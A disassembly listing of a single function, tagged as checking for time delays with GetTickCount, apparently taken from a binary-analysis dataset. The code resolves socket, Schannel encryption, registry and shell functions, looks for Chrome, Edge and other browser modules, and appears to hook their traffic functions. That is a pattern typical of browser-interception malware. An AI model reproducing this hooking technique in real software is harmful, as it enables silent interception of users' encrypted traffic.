Function at 0x10071a1a
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, 0x100a4f27
call fcn.1007c8b4
sub esp, 0x160
push ebx
push esi
push edi
mov esi, str.CreateProcessAsUserW
mov edi, str.kernelbase.dll
push esi
push edi
call fcn.10077f25
mov dword [0x100d3528], eax
test eax, eax
jne 0x10071a57
push esi
push str.kernel32.dll
call fcn.10077f25
mov dword [0x100d3528], eax
push str.UpdateProcThreadAttribute
push edi
call fcn.10077f25
push str.WinHttpGetIEProxyConfigForCurrentUser
push str.winhttp.dll
mov dword [0x100d3594], eax
call fcn.10077f25
mov dword [0x100d3548], eax
call fcn.10049f0d
test al, al
je 0x10071b0a
cmp byte [0x100d34c1], 0
jne 0x10072809
call fcn.10077741
mov esi, eax
test esi, esi
je 0x10071aac
call fcn.10077696
mov eax, esi
jmp 0x10072810
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.100779e0
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp dword [0x100d3528], eax
je 0x10071adb
push 0x1006a893
push 0x100d3528
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp dword [0x100d3594], 0
je 0x10071af9
push 0x1006c2ae
push 0x100d3594
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
call fcn.10077781
mov byte [0x100d36be], 1
jmp 0x10072810
call fcn.10076cfc
push str.connect
mov esi, str.WS2_32.DLL
mov dword [0x100d3564], eax
push esi
call fcn.10077f25
mov dword [0x100d34e8], eax
test eax, eax
je 0x1007280d
push str.WSAConnect
push esi
call fcn.10077f25
mov dword [0x100d34f0], eax
test eax, eax
je 0x1007280d
push str.closesocket
push esi
call fcn.10077f25
mov dword [0x100d34f4], eax
test eax, eax
je 0x1007280d
push str.send
push esi
call fcn.10077f25
mov dword [0x100d3588], eax
test eax, eax
je 0x1007280d
push str.WSASend
push esi
call fcn.10077f25
mov dword [0x100d34f8], eax
test eax, eax
je 0x1007280d
push str.recv
push esi
call fcn.10077f25
mov dword [0x100d358c], eax
test eax, eax
je 0x1007280d
push str.WSARecv
push esi
call fcn.10077f25
mov dword [0x100d34fc], eax
test eax, eax
je 0x1007280d
push str.WSAGetOverlappedResult
push esi
call fcn.10077f25
mov dword [0x100d3500], eax
test eax, eax
je 0x1007280d
mov ebx, str.GetQueuedCompletionStatus
push ebx
push str.kernelbase.DLL
call fcn.10077f25
mov dword [0x100d3504], eax
test eax, eax
jne 0x10071c0a
push ebx
push str.Kernel32.DLL
call fcn.10077f25
mov dword [0x100d3504], eax
test eax, eax
je 0x1007280d
push str.recvfrom
push esi
call fcn.10077f25
mov dword [0x100d3508], eax
test eax, eax
je 0x1007280d
push str.sendto
push esi
call fcn.10077f25
mov dword [0x100d350c], eax
test eax, eax
je 0x1007280d
push str.WSARecvFrom
push esi
call fcn.10077f25
cmp dword [0x100d3508], 0
mov dword [0x100d3510], eax
je 0x1007280d
push str.WSASendTo
push esi
call fcn.10077f25
mov dword [0x100d3514], eax
test eax, eax
je 0x1007280d
push str.SealMessage
mov esi, str.Schannel.dll
push esi
call fcn.10077f25
mov dword [0x100d3518], eax
test eax, eax
je 0x1007280d
push str.UnsealMessage
push esi
call fcn.10077f25
mov dword [0x100d351c], eax
test eax, eax
je 0x1007280d
push str.UnlockUrlCacheEntryFileA
push str.wininet.dll
call fcn.10077f25
mov dword [0x100d3520], eax
test eax, eax
je 0x1007280d
push 0x100aa960
push str.Kernel32.dll
call fcn.10077f25
mov dword [0x100d3524], eax
test eax, eax
je 0x1007280d
push str.ShellExecuteExW
push str.Shell32.dll
call fcn.10077f25
mov dword [0x100d352c], eax
test eax, eax
je 0x1007280d
cmp byte [0x100d3117], 0
mov esi, 0x100aa9ac
je 0x10071d8e
mov ebx, str.RegOpenKeyExW
push ebx
push edi
call fcn.10077f25
mov dword [0x100d354c], eax
test eax, eax
jne 0x10071d2b
push ebx
push esi
call fcn.10077f25
mov dword [0x100d354c], eax
mov ebx, 0x100aa9bc
push ebx
push edi
call fcn.10077f25
mov dword [0x100d3550], eax
test eax, eax
jne 0x10071d4c
push ebx
push esi
call fcn.10077f25
mov dword [0x100d3550], eax
mov ebx, str.RegQueryInfoKeyW
push ebx
push edi
call fcn.10077f25
mov dword [0x100d3554], eax
test eax, eax
jne 0x10071d6d
push ebx
push esi
call fcn.10077f25
mov dword [0x100d3554], eax
mov ebx, str.RegEnumValueW
push ebx
push edi
call fcn.10077f25
mov dword [0x100d3558], eax
test eax, eax
jne 0x10071d8e
push ebx
push esi
call fcn.10077f25
mov dword [0x100d3558], eax
mov ebx, str.RegQueryValueExW
push ebx
push edi
call fcn.10077f25
mov dword [0x100d355c], eax
test eax, eax
jne 0x10071daf
push ebx
push esi
call fcn.10077f25
mov dword [0x100d355c], eax
mov ebx, str.RegSetValueExW
push ebx
push edi
call fcn.10077f25
mov dword [0x100d3560], eax
test eax, eax
jne 0x10071dd0
push ebx
push esi
call fcn.10077f25
mov dword [0x100d3560], eax
call fcn.10049c98
test al, al
je 0x10071dfe
mov esi, 0x100aaa10
push esi
push edi
call fcn.10077f25
mov dword [0x100d3540], eax
test eax, eax
jne 0x10071dfe
push esi
push str.kernel32.dll
call fcn.10077f25
mov dword [0x100d3540], eax
xor ebx, ebx
mov dword [ebp - 0x2c], 0x25a207b9
push ebx
push 1
push 2
mov dword [ebp - 0x28], 0x4660ddf3
mov dword [ebp - 0x24], 0xe576e98e
mov dword [ebp - 0x20], 0x3e06748c
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x10071e52
push ebx
push ebx
lea eax, [ebp - 0x60]
push eax
push 4
push 0x100d34ec
push 0x10
lea eax, [ebp - 0x2c]
push eax
push 0xc8000006
push esi
call sub.WS2_32.dll_WSAIoctl
push esi
call dword [0x100d34f4]
cmp byte [0x100d34c1], bl
jne 0x1007233d
call fcn.10079569
mov bh, al
call fcn.1007938a
mov bl, al
mov byte [ebp - 0x10], bl
call fcn.10049f22
mov byte [ebp - 0xe], al
call fcn.10049c5b
cmp byte [0x100d3115], 0
mov esi, 0x100cca9c
mov byte [ebp - 0xf], al
jne 0x10071e96
cmp byte [0x100d3116], 0
je 0x10071f0b
cmp dword [0x100ccaac], 0
je 0x10071f0b
call fcn.10079371
test al, al
jne 0x10071f08
cmp dword [0x100ccab0], 0x10
mov eax, esi
cmovae eax, dword [0x100cca9c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
setne bl
cmp byte [0x100d2da8], 0
je 0x10071f05
cmp dword [0x100ccab0], 0x10
lea ecx, [ebp - 0xd]
mov edi, esi
cmovae edi, dword [0x100cca9c]
call fcn.10063abf
mov esi, eax
mov ecx, esi
call fcn.10016040
movzx ecx, bl
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 4
call fcn.100546cc
add esp, 0x14
mov bl, byte [ebp - 0x10]
mov al, byte [ebp - 0xf]
test al, al
mov al, byte [ebp - 0xe]
jne 0x10071f34
test bh, bh
jne 0x10071f34
test bl, bl
jne 0x10071f34
test al, al
jne 0x10071f34
call fcn.10049c98
test al, al
jne 0x10071f31
mov byte [0x100d369b], al
jmp 0x10072265
mov al, byte [ebp - 0xe]
mov byte [0x100d369b], 1
test bh, bh
jne 0x10071f50
test bl, bl
jne 0x10071f50
test al, al
jne 0x10071f50
cmp byte [ebp - 0xf], al
je 0x10072265
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
test bh, bh
je 0x10071f69
push str.browser.dll
jmp 0x10071f9f
test bl, bl
je 0x10071f84
push str.chrome.dll
call esi
mov dword [0x100d34e4], eax
test eax, eax
jne 0x10071fda
push str.chrome_child.dll
jmp 0x10071f9f
cmp byte [ebp - 0xf], 0
je 0x10071fa8
push str.msedge.dll
call esi
mov dword [0x100d34e4], eax
test eax, eax
jne 0x10071fda
push str.msedge_child.dll
call esi
mov dword [0x100d34e4], eax
jmp 0x10071fba
cmp byte [ebp - 0xe], 0
je 0x10071fb5
push str.Yahoo_Messenger.exe
jmp 0x10071f9f
mov eax, dword [0x100d34e4]
test eax, eax
jne 0x10071fda
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x2710
jb 0x10071f5e
jmp 0x10072023
call fcn.10079371
test al, al
je 0x10072023
push 0x105
lea eax, [ebp - 0x16c]
push eax
push dword [0x100d34e4]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10072023
lea edx, [ebp - 0x16c]
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10072008
sub edx, esi
lea eax, [ebp - 0x16c]
push edx
push eax
mov ecx, 0x100cca9c
call fcn.10002936
mov esi, dword [0x100d34e4]
test esi, esi
je 0x10072265
xor ebx, ebx
push 0xf
pop edi
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], edi
mov byte [ebp - 0x5c], bl
mov dword [ebp - 0x44], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], edi
mov byte [ebp - 0x44], bl
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x100d3598], eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10067c00
add esp, 0x1c
test al, al
je 0x100721eb
mov eax, dword [ebp - 0x14]
add eax, esi
cmp byte [ebp - 0x10], bl
je 0x100720d1
mov dword [0x100d3538], eax
mov eax, dword [ebp - 0x1c]
add eax, esi
mov dword [0x100d353c], eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100720bf
add eax, esi
mov dword [0x100d3570], eax
mov eax, dword [0x100d3584]
test eax, eax
je 0x100720e0
add eax, esi
mov dword [0x100d3544], eax
jmp 0x100720e0
mov dword [0x100d3530], eax
mov eax, dword [ebp - 0x1c]
add eax, esi
mov dword [0x100d3534], eax
mov esi, 0x104
lea eax, [ebp - 0x16c]
push esi
push ebx
push eax
call fcn.1007f880
add esp, 0xc
lea eax, [ebp - 0x16c]
push esi
push eax
push dword [0x100d34e4]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [0x100d2da8], 0
je 0x10072160
cmp dword [ebp - 0x30], 0x10
lea ebx, [ebp - 0x44]
lea edi, [ebp - 0x5c]
cmovae ebx, dword [ebp - 0x44]
lea ecx, [ebp - 0xd]
cmp dword [ebp - 0x48], 0x10
cmovae edi, dword [ebp - 0x5c]
call fcn.10062b3e
mov esi, eax
mov ecx, esi
call fcn.10076246
push dword [ebp - 0x1c]
lea eax, [ebp - 0x16c]
push dword [ebp - 0x14]
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 4
call fcn.100546cc
add esp, 0x20
xor ebx, ebx
push 0xf
pop edi
cmp byte [0x100d34e2], 0
jne 0x1007218e
cmp byte [0x100cd1d4], 0
jne 0x1007218e
cmp byte [0x100d2da8], 0
je 0x100721eb
lea ecx, [ebp - 0xd]
call fcn.1006427b
mov esi, eax
mov ecx, esi
call fcn.100163a0
jmp 0x100721a8
cmp byte [0x100d2da8], 0
je 0x100721eb
lea ecx, [ebp - 0xd]
call fcn.10062682
mov esi, eax
mov ecx, esi
call fcn.10016040
push esi
push 4
call fcn.100546cc
cmp byte [0x100d2da8], 0
pop ecx
pop ecx
je 0x100721eb
lea ecx, [ebp - 0xd]
call fcn.10065972
mov esi, eax
mov ecx, esi
call fcn.1004a843
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x100d3598]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 4
call fcn.100546cc
add esp, 0x10
mov eax, dword [ebp - 0x30]
mov esi, 0x1000
cmp eax, 0x10
jb 0x10072224
mov ecx, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
cmp eax, esi
jb 0x1007221b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10001c26
mov eax, dword [ebp - 0x18]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x14]
push eax
push ecx
call fcn.1007c382
pop ecx
pop ecx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], edi
mov byte [ebp - 0x44], bl
cmp eax, 0x10
jb 0x10072265
mov ecx, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
cmp eax, esi
jb 0x1007225c
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10001c26
mov eax, dword [ebp - 0x18]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x14]
push eax
push ecx
call fcn.1007c382
pop ecx
pop ecx
cmp byte [0x100d3117], 0
je 0x1007233d
cmp dword [0x100d3538], 0
jne 0x1007233d
cmp dword [0x100d353c], 0
jne 0x1007233d
cmp dword [0x100d3530], 0
jne 0x1007233d
cmp dword [0x100d3534], 0
jne 0x1007233d
cmp byte [0x100d2da8], 0
je 0x100722d2
lea ecx, [ebp - 0xd]
call fcn.100658c7
mov esi, eax
mov ecx, esi
call fcn.10031cc0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 4
call fcn.100546cc
add esp, 0xc
cmp byte [0x100d34c2], 0
je 0x10072311
cmp word [0x100d34c4], 0
je 0x10072311
call fcn.1006a858
test al, al
je 0x10072311
cmp byte [0x100d2da8], 0
mov byte [0x100d34c1], 1
je 0x1007233d
lea ecx, [ebp - 0xd]
call fcn.100637ed
mov esi, eax
mov ecx, esi
call fcn.100224b0
jmp 0x1007232b
cmp byte [0x100d2da8], 0
je 0x1007233d
lea ecx, [ebp - 0xd]
call fcn.1006272f
mov esi, eax
mov ecx, esi
call fcn.10016040
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 4
call fcn.100546cc
add esp, 0xc
call fcn.10077741
mov esi, eax
test esi, esi
jne 0x10071aa0
push 1
call fcn.1007768a
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.100779e0
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp byte [0x100d34c1], al
jne 0x100724ec
push 0x1006dba8
push 0x100d34e8
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006c3e8
push 0x100d34f0
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006d722
push 0x100d34f4
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006e736
push 0x100d3588
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006e549
push 0x100d358c
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006c6fc
push 0x100d34fc
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006ca9b
push 0x100d34f8
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006c57f
push 0x100d3500
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006b7ff
push 0x100d3504
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006e62f
push 0x100d3508
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006ed81
push 0x100d350c
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006c8b0
push 0x100d3510
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006d09e
push 0x100d3514
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006b653
push 0x100d3518
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006b315
push 0x100d351c
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006c26b
push 0x100d3520
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push fcn.1006aed5
push 0x100d3524
call fcn.1007732f
mov ecx, dword [0x100d3524]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [0x100d3524], ecx
cmp dword [0x100d3528], edx
je 0x10072548
push 0x1006a893
push 0x100d3528
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp dword [0x100d3594], 0
je 0x10072573
cmp byte [0x100d3117], 0
je 0x10072573
push 0x1006c2ae
push 0x100d3594
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006c1d0
push 0x100d352c
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp byte [0x100d3117], al
je 0x1007261f
cmp dword [0x100d354c], eax
je 0x100725b9
push 0x1006bbed
push 0x100d354c
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp dword [0x100d3550], 0
je 0x100725db
push 0x1006b9d4
push 0x100d3550
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp dword [0x100d3554], 0
je 0x100725fd
push 0x1006bd5d
push 0x100d3554
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp dword [0x100d3558], 0
je 0x1007261f
push 0x1006ba12
push 0x100d3558
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp byte [0x100d2fdd], 0
je 0x10072650
push 0x1006bf74
push 0x100d355c
call fcn.1007732f
push 0x1006c007
push 0x100d3560
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp dword [0x100d3540], 0
je 0x10072690
push 0x1006b944
push 0x100d3540
call fcn.1007732f
test eax, eax
je 0x10072690
cmp byte [0x100d2da8], 0
je 0x10072690
lea ecx, [ebp - 0xd]
call fcn.10063254
mov esi, eax
mov ecx, esi
call fcn.10016220
push esi
push 4
call fcn.100546cc
pop ecx
pop ecx
cmp dword [0x100d3548], 0
je 0x100726b2
push 0x1006d551
push 0x100d3548
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp byte [0x100d34c1], 0
jne 0x100727f9
cmp dword [0x100d3530], 0
je 0x10072703
cmp dword [0x100d3534], 0
je 0x10072703
push 0x1006f4fc
push 0x100d3530
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
push 0x1006f306
push 0x100d3534
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
cmp dword [0x100d3538], 0
je 0x100727a7
cmp dword [0x100d353c], 0
je 0x100727a7
mov edi, 0x100d353c
mov esi, 0x100d3538
push edi
push esi
call fcn.1007329c
pop ecx
pop ecx
test al, al
je 0x10072762
push dword [0x100d3574]
push esi
call fcn.1007103b
mov esi, eax
test esi, esi
jne 0x10071aa0
push dword [0x100d3578]
push edi
call fcn.1007103b
mov esi, eax
test esi, esi
jne 0x10071aa0
jmp 0x1007278e
cmp byte [0x100d2da8], 0
je 0x1007278e
lea ecx, [ebp - 0xd]
call fcn.10061fde
mov esi, eax
mov ecx, esi
call fcn.10022570
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 4
call fcn.100546cc
add esp, 0xc
cmp dword [0x100d3570], 0
je 0x100727a7
push dword [0x100d357c]
push 0x100d3570
call fcn.1007732f
cmp dword [0x100d3544], 0
je 0x100727d7
mov eax, dword [0x100d3580]
test eax, eax
je 0x100727d7
push eax
push 0x100d3544
call fcn.1007732f
mov ecx, dword [0x100d3544]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [0x100d3544], ecx
cmp dword [0x100d34ec], 0
je 0x100727f9
push 0x1006afba
push 0x100d34ec
call fcn.1007732f
mov esi, eax
test esi, esi
jne 0x10071aa0
call fcn.10077781
mov byte [0x100d36be], 1
test eax, eax
jne 0x10072810
xor eax, eax
jmp 0x10072810
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret